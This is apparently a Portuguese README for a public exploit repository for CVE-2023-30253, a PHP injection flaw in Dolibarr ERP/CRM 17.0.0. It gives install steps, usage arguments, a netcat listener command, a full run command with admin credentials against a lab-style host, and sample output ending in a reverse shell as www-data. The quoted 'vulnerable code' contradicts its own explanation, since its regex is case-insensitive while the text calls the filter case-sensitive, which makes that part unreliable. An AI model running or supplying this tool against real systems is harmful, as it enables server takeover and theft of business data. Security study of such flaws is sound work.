
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via injeção de código PHP (exploit educativo)
Exploit de injeção de código PHP para Dolibarr ERP/CRM v17.0.0 que
permite obter uma shell reversa como usuário www-data através
do módulo Website/CMS.
⚠️ Apenas para uso educacional e auditorias com autorização.
CVE-2023-30253 é uma vulnerabilidade de injeção de código PHP (CWE-94: Controle Impróprio da Geração de Código) no Dolibarr ERP/CRM versões anteriores a 17.0.1.
Foi descoberta e reportada pela equipe da Swascan (agora Hacktivesecurity) em maio de 2023. A vulnerabilidade reside no módulo Website/CMS, que permite que usuários autenticados criem e gerenciem sites dentro do Dolibarr.
| Campo | Valor |
|---|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (ALTO) |
| Vetor | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Tipo | CWE-94 — Injeção de Código |
| Software afetado | Dolibarr ERP/CRM < 17.0.1 |
| Privilégios | Usuário autenticado (qualquer função) |
| Patch | Dolibarr 17.0.1 — commit 4f6055c |
O Dolibarr implementa um filtro para evitar que os usuários injetem código PHP no conteúdo das páginas do módulo Website. No entanto, esse filtro tem um defeito crítico: ele é case-sensitive.
// Código vulnerável (simplificado) no Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Bloqueia apenas "<?php" em minúsculas exatas... ou não?
die("PHP code detected!");
}
O filtro busca literalmente a string <?php em minúsculas. Mas o PHP
permite qualquer combinação de maiúsculas e minúsculas para a
tag de abertura. Isso significa que:
| Tag | Filtrada? | Executada pelo PHP? |
|---|---|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
O exploit usa <?PHP (em maiúsculas) para burlar o filtro, mas
qualquer variante funciona.
Além disso, o filtro só é aplicado no momento de salvar o
conteúdo. Ao servir a página, o Dolibarr passa o conteúdo sem
sanitização adicional para o interpretador PHP, que executa qualquer
código com a tag de abertura <?.
Um atacante autenticado pode:
/etc/passwd, configuração)Por que é crítico? O Dolibarr é usado como ERP/CRM empresarial. Uma intrusão pode expor dados de clientes, finanças, contratos e credenciais internas.
O exploit automatiza o processo completo de exploração em 5 passos:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Login → Autenticar no Dolibarr │
│ 2. Create Website → Criar um site vazio │
│ 3. Create Page → Criar uma página no site │
│ 4. Inject Shell → Injetar PHP reverse shell │
│ 5. Trigger → Executar o payload │
│ │
│ Resultado: 🎯 Shell reversa como www-data │
└─────────────────────────────────────────────────────────┘
Características:
pageidfsockopen + proc_openrequestsbeautifulsoup4Ou simplesmente:
pip install -r requirements.txt
# Clonar o repositório
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Instalar dependências
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [opções]
Argumentos posicionais:
| Argumento | Descrição | Exemplo |
|---|---|---|
target | URL base do Dolibarr | http://crm.board.htb |
username | Usuário do Dolibarr | admin |
password | Senha do Dolibarr | admin |
lhost | Seu IP (onde receberá a shell) | 10.10.14.5 |
lport | Sua porta (onde receberá a shell) | 4444 |
Opções:
| Opção | Descrição |
|---|---|
-v, --verbose | Mostra informações detalhadas de depuração |
--no-color | Desativa cores na saída |
-h, --help | Mostra a ajuda e exemplos |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Passo 1/5: Iniciando sessão...
[10:45:12] ✓ Sessão iniciada com sucesso
[10:45:13] Passo 2/5: Criando site...
[10:45:13] ✓ Site 's3a1f2bc' criado
[10:45:13] Passo 3/5: Criando página no site...
[10:45:13] ✓ Página criada dentro do site
[10:45:14] Passo 4/5: Injetando reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ Código PHP injetado com sucesso
[10:45:14] Passo 5/5: Executando payload (trigger)...
════════════════════════════════════════════════════════
EXPLORAÇÃO CONCLUÍDA
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Instruções:
1. Em outro terminal, inicie seu listener:
nc -lvnp 4444
2. Acesse a Trigger URL (o exploit já fez isso)
3. Você receberá uma shell reversa como www-data